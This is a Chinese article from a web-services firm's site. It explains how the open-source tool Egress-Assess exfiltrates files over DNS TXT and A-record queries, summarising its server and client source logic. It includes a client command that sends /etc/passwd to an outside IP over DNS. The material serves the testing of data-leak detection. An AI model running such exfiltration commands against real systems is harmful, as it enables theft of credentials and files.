网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

网络安全工具团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 工具 > 网络安全工具 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

开源工具Egress-Assess:利用DNS完成数据窃取、以及优势和缺点的简要分析

文章来源:重庆网络安全 发布时间:2020-01-17 10:52:22 围观次数:
分享到:

摘要:Egress-Assess是一个开放源代码项目,用于测试数据泄漏检测功能。 该项目建立了一个基本框架,并使用多种协议实施了数据窃取。包括:dns,ftp,http,https,icmp,sftp,smb,smtp。

blob.png

Egress-Assess介绍


  Egress-Assess是一个开放源代码项目,用于测试数据泄漏检测功能。 该项目建立了一个基本框架,并使用多种协议实施了数据窃取。该项目的源代码结构如图所示,可以看出,Egress-Assess项目实现的可用协议主要包括:dns,ftp,http,https,icmp,sftp,smb,smtp, 等。我们专注于使用DNS来完成数据盗窃的部分。

blob.png

  Egress-Assess采用C / S模式。 正在运行的工具需要先设置服务器,然后运行客户端,并配置用于数据盗窃的参数。 Egress-Assess使用技巧如图所示,以DNS进行数据盗窃为例:


  使用以下命令启动DNS服务器:pythonEgress-Assess.py –server dns


  启动客户端以使用DNS发送被盗数据:python Egress-Assess.py–client dns –ip 1.1.1.1 –file /etc/passwd

blob.png

简要分析基于DNS的数据盗窃的源代码


  当Egress-Assess使用DNS来完成数据盗窃时,服务器源代码文件是protocol / servers / dns_server.py,它可以同时处理来自客户端的TXT和A记录请求。 协议/客户端/dns_client.py,协议/客户端/dns_resolved.py中的客户端分别使用DNS TXT记录和A记录来发送被盗数据。


  (一)服务器源代码分析


  服务器使用DNSlib库。 服务器的改进版本可以在端口53上侦听来自客户端的DNSTXT和A记录查询,并从客户端获取被盗的数据包。 然后提取并还原文件数据,并在传输到本地后还原被盗文件。 服务器收到成功页面,如图所示。

blob.png

 组合服务器源文件协议/servers/dns_server.py,源代码概述如图所示。

blob.png

总结Egress-Assess服务器工作的主要过程:


  1)使用SocketServer库的ThreadUDPServer()方法建立一个多线程套接字,侦听端口53。实现部分是服务器类中的startDnsServer方法。


  2)预处理接收到的UDP数据包并提取请求的数据。 它主要在SocketServer.BaseRequestHandler中实现get_data()和send_data方法。


  3)准备文件数据接收。 这包括初始化一些全局数量,并从UDP数据包中提取DNS部分。 提取DNS部分的方法是handleDNSRequest()。


  4)根据不同记录类型(A记录,TXT记录)的DNS查询,调用不同的函数handleDNSTXT(),handleDNSResolved()来存储和恢复文件数据。

  [HandleDNSTXT()函数处理一般流程]:


  1)在DNS中提取并解码qname。


  2)如果提取的qname包含终止符“ ENDTHISFILETRANSMISSIONEGRESSASSESS”,则图所示为qname组成示例; 然后从qname中提取file_name并调用writeFile函数将全局文件FILE_DICT存储的文件数据块依次写入本地文件。

blob.png

 3)如果定界符“.:|:.” 如果qname中未包含,则解码后的数据将写入由当前系统日期和时间组成的txt文件。


  4)如果定界符“.:|:.” 包含在qname中,在分割后提取序列号和文件数据,并将其存储在全局字典变量FILE_DICT中。


  [HandleDNSResolved()函数处理流程]


  1)将收到的qname中的字符“ .—”替换为“ =”。 进行此操作的原因是为了避免base64编码=和子域=之间的混淆。


  2)按“.”号切分qname,并根据不同情况分别处理。


  3)如果分段列表的parts[0]是结束字符“ ENDTHISFILETRANSMISSIONEGRESSASSESS”,则从parts[1]中提取文件名,并调用writeFile方法以按顺序号将全局FILE_DICT中的文件数据块恢复到本地文件。


  4)对parts[0]执行base64解码。 如果分隔符为“.:|:.”包括在内,根据分隔符再次划分,提取序列号和文件数据块,并将其存储在全局FILE_DICT中。

  (二)客户源代码简要分析


  客户端启动DNS TXT记录和A记录的使用,以通过不同的参数“ dns”和“ dns_resolved”窃取数据。 对应于文件protocols/clients/dns_client.py和protocols/client/dns_resolved.py。 通过源代码分析,发现两个源代码思想相似,差异主要体现在数据嵌入和A记录的使用上。 以下整理部分将以DNS TXT记录为例进行简要分析。

blob.png

  如图所示,整理出dns_client.py的源代码概述,并组织客户端发送被盗数据的主要过程:


  1)准备初始化。 它主要包括命令行参数读取,限制值初始化和文件提取。


  2)通过-ip指定的参数(如果是域名),请首先通过DNS查询解析该域名,以获取服务器IP地址。


  3)通过限制值和文件数据信息计算文件块总数(要发送的DNS请求数据包)。


  4)按3)计算值,对每个文件数据块进行编码,将其嵌入DNS TXT查询数据包中,然后将请求数据包发送到服务器。 图中显示了文件块数据包的结构。

blob.png

5)发送结束包以标记文件块传输的结束; 服务器通过识别数据包中的终止符来开始文件数据恢复。 其中,结束包的组成结构如图

blob.png

  Egress-Assess优势分析:


  1)使用SocketServer库的多线程可以并行处理接收到的数据包。


  2)直接传输文件数据,而无需第一个初始化数据包。

  Egress-Assess的缺点:


  未添加文件数据验证。 在网络环境较差的情况下,被盗文件可能不完整且不知。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:开源工具 Egress-Assess DNS数据窃取 Egress-Assess优势 Egress-Assess缺点

上一篇:s3tk:用于Amazon S3的安全审核套件
下一篇:BetterBackdoor:多功能的后门工具,可以远程访问目标设备,引入按键注入,截屏,传输文件和其他渗透任务

热门资讯

鼠标向下滚动